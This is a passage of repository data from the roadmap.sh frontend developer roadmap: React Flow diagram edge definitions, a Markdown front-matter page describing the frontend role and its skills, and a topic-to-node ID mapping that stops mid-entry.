\"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"OL8I6nOZ8hGGWmtxg_Mv8\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"P4st_telfCwKLSAU2WsQP\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-OL8I6nOZ8hGGWmtxg_Mv8z2-P4st_telfCwKLSAU2WsQPy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"L7AllJfKvClaam3y-u6DP\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"0moPO23ol33WsjVXSpTGf\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-L7AllJfKvClaam3y-u6DPw2-0moPO23ol33WsjVXSpTGfx2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"n0q32YhWEIAUwbGXexoqV\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"VOGKiG2EZVfCBAaa7Df0W\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-n0q32YhWEIAUwbGXexoqVz2-VOGKiG2EZVfCBAaa7Df0Wy2\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KMA7NkxFbPoUDtFnGBFnj\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"mQHpSyMR4Rra4mqAslgiS\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KMA7NkxFbPoUDtFnGBFnjy2-mQHpSyMR4Rra4mqAslgiSz2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KMA7NkxFbPoUDtFnGBFnj\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"GJctl0tVXe4B70s35RkLT\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KMA7NkxFbPoUDtFnGBFnjy2-GJctl0tVXe4B70s35RkLTz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KMA7NkxFbPoUDtFnGBFnj\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"2MRvAK9G9RGM_auWytcKh\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KMA7NkxFbPoUDtFnGBFnjy2-2MRvAK9G9RGM_auWytcKhz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KMA7NkxFbPoUDtFnGBFnj\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-KMA7NkxFbPoUDtFnGBFnjx2-0vLaVNJaJSHZ_bHli6Qzsw1\",\n      \"selected\": false,\n      \"type\": \"simplebezier\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Cxspmb14_0i1tfw-ZLxEu\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"L7AllJfKvClaam3y-u6DP\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Cxspmb14_0i1tfw-ZLxEux2-L7AllJfKvClaam3y-u6DPz2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hwPOGT0-duy3KfI8QaEwF\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Cxspmb14_0i1tfw-ZLxEu\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-hwPOGT0-duy3KfI8QaEwFz2-Cxspmb14_0i1tfw-ZLxEuw1\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Cxspmb14_0i1tfw-ZLxEu\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"SGDf_rbfmFSHlxI-Czzlz\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Cxspmb14_0i1tfw-ZLxEuz2-SGDf_rbfmFSHlxI-Czzlzy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Cxspmb14_0i1tfw-ZLxEu\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"k6rp6Ua9qUEW_DA_fOg5u\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Cxspmb14_0i1tfw-ZLxEuz2-k6rp6Ua9qUEW_DA_fOg5uy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Cxspmb14_0i1tfw-ZLxEu\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3TE_iYvbklXK0be-5f2M7\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Cxspmb14_0i1tfw-ZLxEuz2-3TE_iYvbklXK0be-5f2M7y1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Cxspmb14_0i1tfw-ZLxEu\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"OL8I6nOZ8hGGWmtxg_Mv8\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Cxspmb14_0i1tfw-ZLxEuz2-OL8I6nOZ8hGGWmtxg_Mv8y1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SGDf_rbfmFSHlxI-Czzlz\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"wA2fSYsbBYU02VJXAvUz8\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SGDf_rbfmFSHlxI-Czzlzz2-wA2fSYsbBYU02VJXAvUz8y1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SGDf_rbfmFSHlxI-Czzlz\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"KJRkrFZIihCUBrOf579EU\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SGDf_rbfmFSHlxI-Czzlzz2-KJRkrFZIihCUBrOf579EUy1\",\n      \"selected\": false,\n      \"type\": \"straight\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"L7AllJfKvClaam3y-u6DP\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"PoM77O2OtxPELxfrW1wtl\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-L7AllJfKvClaam3y-u6DPx2-PoM77O2OtxPELxfrW1wtlw2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"PoM77O2OtxPELxfrW1wtl\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"mB3hZvAfRr6kCEbF6t-yz\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-PoM77O2OtxPELxfrW1wtlx2-mB3hZvAfRr6kCEbF6t-yzw1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"PoM77O2OtxPELxfrW1wtl\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"3_sJHKTogkDoCjR518-OL\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-PoM77O2OtxPELxfrW1wtly2-3_sJHKTogkDoCjR518-OLz1\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"PoM77O2OtxPELxfrW1wtl\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"n0q32YhWEIAUwbGXexoqV\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-PoM77O2OtxPELxfrW1wtlz2-n0q32YhWEIAUwbGXexoqVy1\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SGDf_rbfmFSHlxI-Czzlz\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"zNFYAJaSq0YZXL5Rpx1NX\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SGDf_rbfmFSHlxI-Czzlzz2-zNFYAJaSq0YZXL5Rpx1NXy1\",\n      \"selected\": false,\n      \"type\": \"straight\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"n0q32YhWEIAUwbGXexoqV\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"io0RHJWIcVxDhcYkV9d38\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-n0q32YhWEIAUwbGXexoqVw2-io0RHJWIcVxDhcYkV9d38x1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"n0q32YhWEIAUwbGXexoqV\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"XWJxV42Dpu2D3xDK10Pn3\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-n0q32YhWEIAUwbGXexoqVx2-XWJxV42Dpu2D3xDK10Pn3w2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VOGKiG2EZVfCBAaa7Df0W\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"xmRv6-L45m5MDpHmdHFCL\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-VOGKiG2EZVfCBAaa7Df0Ww2-xmRv6-L45m5MDpHmdHFCLx1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VOGKiG2EZVfCBAaa7Df0W\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"KMA7NkxFbPoUDtFnGBFnj\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-VOGKiG2EZVfCBAaa7Df0Wx2-KMA7NkxFbPoUDtFnGBFnjz1\",\n      \"type\": \"step\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"PoM77O2OtxPELxfrW1wtl\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"raoa-75p_DyBAycvy3yVv\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-PoM77O2OtxPELxfrW1wtly2-raoa-75p_DyBAycvy3yVvz1\",\n      \"focusable\": true\n    } \n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/frontend/frontend.md",
    "content": "---\nrenderer: 'editor'\njsonUrl: '/jsons/roadmaps/frontend.json'\npdfUrl: '/pdfs/roadmaps/frontend.pdf'\norder: 1\nbriefTitle: 'Frontend'\nbriefDescription: 'Step by step guide to becoming a frontend developer in 2025'\ntitle: 'Frontend Developer'\ndescription: 'Step by step guide to becoming a modern frontend developer in 2025'\nhasTopics: true\npartner:\n  description: \"Get the latest Frontend news from our sister site\"\n  link: \"https://thenewstack.io/?utm_source=roadmap.sh&utm_medium=Referral&utm_campaign=Alert\"\n  linkText: \"TheNewStack.io\"\nquestion:\n  title: 'What is a Frontend Developer?'\n  description: |\n    A frontend developer is a professional who uses HTML, CSS, and JavaScript to design and build the visual and interactive elements of websites and applications that users engage with directly. They ensure the interface is responsive, accessible, and visually appealing. Every feature you see and interact with on a website (like buttons, menus, and animations) is created by a frontend developer.\n\n    ## What is the role of a Frontend Developer?\n\n    While this is not a complete frontend developer job description, the following can be considered as a great introduction to the role of a frontend developer: you'll be responsible for creating the user interface of a website to ensure it looks good and is easy to use, with great focus on design principles and user experience. You'll be working closely with designers, back-end developers, and project managers to make sure the final product meets the client's needs and provides the best possible experience for the end-users.\n\n    ## Which languages are used for Frontend Development?\n\n    The easy part about the frontend development role is that there aren’t that many options to choose from when it comes to [frontend languages](https://roadmap.sh/frontend/languages) and [technologies](https://roadmap.sh/frontend/technologies) (unlike with backend development).\n\n    As a frontend developer, you’ll be working with the following technologies:\n\n    - **HTML**: The markup language used to create the skeleton of the page. All the information you want to show on a webpage will be laid out through HTML.\n    - **CSS**: The Cascading Style Sheet language allows you to adjust the way in which the HTML elements are rendered, improving the visuals of your webpage.\n    - **JavaScript**: This is the de facto programming language for frontend development, and it allows you to add dynamism to your websites/web apps. There is an alternative known as TypeScript, which is a strongly typed superset of JavaScript that you can use instead. However, in that scenario, you’d have to set up a transpiler to translate your code into JavaScript before being able to run it in the browser.\n\n    ## What skills are required for a Frontend developer?\n\n    The main skills required to become a frontend developer are HTML, CSS, and JavaScript. The rest are also important, but without those three basic ones, you can’t apply any of the others.\n\n    The full list of [frontend developer skills](https://roadmap.sh/frontend/developer-skills) you should look into if you’re hoping to up your game is the following:\n\n    **1. Understanding the core technologies**: HTML, CSS & JavaScript.  \n    **2. Understanding accessibility**: Knowing how it can affect your users' experience.  \n    **3. Version control systems**: Be familiar with tools like Git.  \n    **4. Responsive design**: Implementing designs that adapt to different devices and screen sizes.  \n    **5. User experience (UX)**: Understanding the basics of UX principles.  \n    **6. SEO**: Knowing how search engine optimization works and how you can leverage it in your code.  \n    **7. RESTful APIs**: Understanding the basics of RESTful APIs and how to consume them.  \n    **8. Testing and debugging**: Implementing testing practices and debugging effectively.  \n    **9. Dev tools**: Master the browser’s developer tools for inspecting, debugging, and optimizing code.  \n    **10. Frameworks**: Having a go-to frontend framework (like React or Vue) and understanding others at a high level.  \n    **11. Web performance**: Understanding web performance optimizations and core web vitals.  \n    **12. TypeScript**: Understanding how TypeScript works and when to use it.\n\n    Covering these basic skills will prepare you for any type of [frontend developer interview questions](https://roadmap.sh/questions/frontend) you might encounter in the future and will enhance your current role.\n\ndimensions:\n  width: 968\n  height: 2775\nschema:\n  headline: 'Frontend Developer Roadmap: What is Frontend Development?'\n  description: 'Learn what Frontend Development is, what frontend developers do and how to become a modern frontend developer using our community-driven roadmap.'\n  imageUrl: 'https://roadmap.sh/roadmaps/frontend.png'\n  datePublished: '2023-01-05'\n  dateModified: '2023-01-20'\nseo:\n  title: 'Frontend Developer Roadmap: What is Frontend Development?'\n  description: 'Learn what Frontend Development is, what frontend developers do and how to become a modern frontend developer using our community-driven roadmap.'\n  keywords:\n    - 'javascript roadmap 2025'\n    - 'frontend roadmap 2025'\n    - 'frontend developer roadmap 2025'\n    - 'guide to becoming a developer'\n    - 'guide to becoming a frontend developer'\n    - 'frontend developer'\n    - 'frontend engineer'\n    - 'frontend skills'\n    - 'frontend development'\n    - 'javascript developer'\n    - 'frontend development skills'\n    - 'frontend development skills test'\n    - 'frontend roadmap'\n    - 'frontend engineer roadmap'\n    - 'frontend developer roadmap'\n    - 'become a frontend developer'\n    - 'frontend developer career path'\n    - 'javascript developer'\n    - 'modern javascript developer'\n    - 'node developer'\n    - 'skills for frontend development'\n    - 'learn frontend development'\n    - 'what is frontend development'\n    - 'frontend developer quiz'\n    - 'frontend developer interview questions'\nrelatedRoadmaps:\n  - 'full-stack'\n  - 'javascript'\n  - 'nodejs'\n  - 'react'\n  - 'angular'\n  - 'vue'\n  - 'design-system'\nrelatedQuestions:\n  - 'javascript'\n  - 'react'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'role-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/frontend/migration-mapping.json",
    "content": "{\n  \"internet\": \"VlNNwIEDWqQXtqkHWJYzC\",\n  \"internet:how-does-the-internet-work\": \"yCnn-NfSxIybUQ2iTuUGq\",\n  \"internet:what-is-http\": \"R12sArWVpbIs_PHxBqVaR\",\n  \"internet:what-is-domain-name\": \"ZhSuu2VArnzPDp6dPQQSC\",\n  \"internet:what-is-hosting\": \"aqMaEY8gkKMikiqleV5EP\",\n  \"internet:dns-and-how-it-works\": \"hkxw9jPGYphmjhTjw8766\",\n  \"internet:browsers-and-how-they-work\": \"P82WFaTPgQEPNp5IIuZ1Y\",\n  \"html\": \"yWG2VUkaF5IJVVut6AiSy\",\n  \"html:learn-the-basics\": \"PCirR2QiFYO89Fm-Ev3o1\",\n  \"html:writing-semantic-html\": \"z8-556o-PaHXjlytrawaF\",\n  \"html:forms-and-validations\": \"V5zucKEHnIPPjwHqsMPHF\",\n  \"html:accessibility\": \"iJIqi7ngpGHWAqtgdjgxB\",\n  \"html:seo-basics\": \"mH_qff8R7R6eLQ1tPHLgG\",\n  \"css\": \"ZhJhf1M2OphYbEmduFq-9\",\n  \"css:learn-the-basics\": \"YFjzPKWDwzrgk2HUX952L\",\n  \"css:making-layouts\": \"dXeYVMXv-3MRQ1ovOUuJW\",\n  \"css:responsive-design-and-media-queries\": \"TKtWmArHn7elXRJdG6lDQ\",\n  \"javascript\": \"ODcfFEorkfJNupoQygM53\",\n  \"javascript:syntax-and-basic-constructs\": \"wQSjQqwKHfn5RGPk34BWI\",\n  \"javascript:learn-dom-manipulation\": \"0MAogsAID9R04R5TTO2Qa\",\n  \"javascript:learn-fetch-api-ajax-xhr\": \"A4brX0efjZ0FFPTB4r6U0\",\n  \"version-control-systems\": \"NIY7c4TQEEHx0hATu-k5C\",\n  \"version-control-systems:basic-usage-of-git\": \"R_I4SGYqLk5zze5I1zS_E\",\n  \"repo-hosting-services\": \"MXnFhZlNB1zTsBFDyni9H\",\n  \"repo-hosting-services:github\": \"qmTVMJDsEhNIkiwE_UTYu\",\n  \"repo-hosting-services:gitlab\": \"zIoSJMX3cuzCgDYHjgbEh\",\n  \"repo-hosting-services:bitbucket\": \"DILBiQp7WWgSZ5hhtDW6A\",\n  \"pick-a-framework:react-js\": \"tG5v3O4lNIFc2uCnacPak\",\n  \"pick-a-framework:vue-js\": \"ERAdwL1G9M1bnx-fOm5ZA\",\n  \"pick-a-framework:angular\": \"-bHFIiXnoUQSov64WI9yo\",\n  \"pick-a-framework:svelte\": \"ZR-qZ2Lcbu3FtqaMd3wM4\",\n  \"pick-a-framework:solid-js\": \"DxOSKnqAjZOPP-dq_U7oP\",\n  \"pick-a-framework:qwik\": \"N5DCb6bDfgUnSdHPLYY4g\",\n  \"pick-a-framework\": \"eXezX7CVNyC1RuyU_I4yP\",\n  \"package-managers\": \"IqvS1V-98cxko3e9sBQgP\",\n  \"package-managers:npm\": \"ib_FHinhrw8VuSet-xMF7\",\n  \"package-managers:pnpm\": \"SLxA5qJFp_28TRzr1BjxZ\",\n  \"package-managers:yarn\": \"yrq3nOwFREzl-9EKnpU-e\",\n  \"modern-css\": \"XDTD8el6OwuQ55wC-X4iV\",\n  \"css-frameworks:js-first:tailwind-css\": \"eghnfG4p7i-EDWfp3CQXC\",\n  \"css-architecture\": \"nPg_YWpMJtlhU2t2UD_6B\",\n  \"css-architecture:bem\": \"dRDmS072xeNLX7p_X565w\",\n  \"css-preprocessors\": \"UTW1pP59dUehuf0zeHXqL\",\n  \"css-preprocessors:sass\": \"kukEE5rMSPa4NeNjx21kt\",\n  \"css-preprocessors:postcss\": \"9WlPENh9g1xOv-zA64Tfg\",\n  \"build-tools\": \"i9z0stM4uKu27Cz6NIgNX\",\n  \"build-tools:module-bundlers\": \"hkSc_1x09m7-7BO7WzlDT\",\n  \"build-tools:linters-formatters\": \"9VcGfDBBD8YcKatj4VcH1\",\n  \"build-tools:linters-formatters:prettier\": \"zbkpu_gvQ4mgCiZKzS1xv\",\n  \"build-tools:linters-formatters:eslint\": \"NFjsI712_qP0IOmjuqXar\",\n  \"build-tools:module-bundlers:vite\": \"0Awx3zEI5_gYEIrD7IVX6\",\n  \"build-tools:module-bundlers:esbuild\": \"4W7UXfdKIUsm1bUrjdTVT\",\n  \"build-tools:module-bundlers:webpack\": \"twufEtHgxcRUWAUQ9bXus\",\n  \"build-tools:module-bundlers:rollup\": \"sCjErk7rfWAUvhl8Kfm3n\",\n  \"build-tools:module-bundlers:parcel\": \"NS-hwaWa5ebSmNNRoxFDp\",\n  \"testing-your-apps\": \"igg4_hb3XE3vuvY8ufV-4\",\n  \"testing-your-apps:vitest\": \"hVQ89f6G0LXEgHIOKHDYq\",\n  \"testing-your-apps:jest\": \"g5itUjgRXd9vs9ujHezFl\",\n  \"testing-your-apps:playwright\": \"jramLk8FGuaEH4YpHIyZT\",\n  \"testing-your-apps:cypress\": \"DaynCz5RR26gjT6N6gTDL\",\n  \"auth-strategies\": \"U5mD5FmVx7VWeKxDpQxB5\",\n  \"web-security-knowledge\": \"RDWbG3Iui6IPgp0shvXtg\",\n  \"web-security-knowledge:cors\": \"AfH2zCbqzw0Nisg1yyISS\",\n  \"web-security-knowledge:https\": \"uum7vOhOUR38vLuGZy8Oa\",\n  \"web-security-knowledge:content-security-policy\": \"rmcm0CZbtNVC9LZ14-H6h\",\n  \"web-security-knowledge:owasp-security-risks\": \"JanR7I_lNnUCXhCMGLdn-\",\n  \"web-components\": \"ruoFa3M4bUE3Dg6GXSiUI\",\n  \"web-components:html-templates\": \"Hk8AVonOd693_y1sykPqd\",\n  \"web-components:custom-elements\": \"VxiQPgcYDFAT6WgSRWpIA\",\n  \"web-components:shadow-dom\": \"-SpsNeOZBkQfDA-rwzgPg\",\n  \"server-side-rendering\": \"Cxspmb14_0i1tfw-ZLxEu\",\n  \"type-checkers\": \"hwPOGT0-duy3KfI8QaEwF\",\n  \"type-checkers:typescript\": \"0asdhvwBH3gn-ercktV7A\",\n  \"server-side-rendering:react-js\": \"SGDf_rbfmFSHlxI-Czzlz\",\n  \"server-side-rendering:angular\": \"k6rp6Ua9qUEW_DA_fOg5u\",\n  \"server-side-rendering:vue-js\": \"3TE_iYvbklXK0be-5f2M7\",\n  \"server-side-rendering:svelte\": \"OL8I6nOZ8hGGWmtxg_Mv8\",\n  \"server-side-rendering:react-js:next-js\": \"zNFYAJaSq0YZXL5Rpx1NX\",\n  \"server-side-rendering:react-js:remix\": \"KJRkrFZIihCUBrOf579EU\",\n  \"server-side-rendering:vue-js:nuxt-js\": \"BBsXxkbbEG-gnbM1xXKrj\",\n  \"server-side-rendering:svelte:svelte-kit\": \"P4st_telfCwKLSAU2WsQP\",\n  \"graphql\": \"L7AllJfKvClaam3y-u6DP\",\n  \"graphql:apollo\": \"5eUbDdOTOfaOhUlZAmmXW\",\n  \"graphql:relay-modern\": \"0moPO23ol33WsjVXSpTGf\",\n  \"static-site-generators\": \"n0q32YhWEIAUwbGXexoqV\",\n  \"progressive-web-apps\": \"PoM77O2OtxPELxfrW1wtl\",\n  \"static-site-generators:vuepress\": \"CMrss8E2W0eA6DVEqtPjT\",\n  \"static-site-generators:astro\": \"iUxXq7beg55y76dkwhM13\",\n  \"static-site-generators:next-js\": \"V70884VcuXkfrfHyLGtUg\",\n  \"static-site-generators:eleventy\": \"io0RHJWIcVxDhcYkV9d38\",\n  \"static-site-generators:nuxt-js\": \"XWJxV42Dpu2D3xDK10Pn3\",\n  \"progressive-web-apps:prpl-pattern\": \"-DsETM9xLgHyGZthptj1Y\",\n  \"progressive-web-apps:rail-model\": \"xD5WfEP7Ez0oi3890UgmH\",\n  \"progressive-web-apps:performance-metrics\": \"X0Y3-IpPiFUCsNDK4RFxw\",\n  \"progressive-web-apps:lighthouse\": \"RIhHMHLsLLPhNl05Q9aBf\",\n  \"progressive-web-apps:browser-devtools\": \"3_sJHKTogkDoCjR518-OL\",\n  \"progressive-web-apps:storage\": \"raoa-75p_DyBAycvy3yVv\",\n  \"progressive-web-apps:web-sockets\": \"NDJR8UCoa31v45TBFP7we\",\n  \"progressive-web-apps:server-sent-events\": \"doPe92aUpo-8KWhi45lWK\",\n  \"progressive-web-apps:service-workers\": \"TldWoXiqKxM4X3JONKAR7\",\n  \"progressive-web-apps:location\": \"YbGGYoKJEx29PlvopUBiM\",\n  \"progressive-web-apps:notifications\": \"6AlcArOiJMhHXguAosDzn\",\n  \"progressive-web-apps:device-orientation\": \"Fd0hQh1DleM0gMzCpGou4\",\n  \"progressive-web-apps:payments\": \"MAM1nuVk-h4AvTUk4nvmj\",\n  \"progressive-web-apps:credentials\": \"opu2bAsmdWHqWqtsCscLC\",\n  \"desktop-applications:electron\": \"mQHpSyMR4Rra4mqAslgiS\",\n  \"desktop-applications:tauri\": \"GJctl0tVXe4B70s35RkLT\",\n  \"desktop-applications:flutter\": \"2MRvAK9G9RGM_auWytcKh\",\n  \"desktop-applications\": 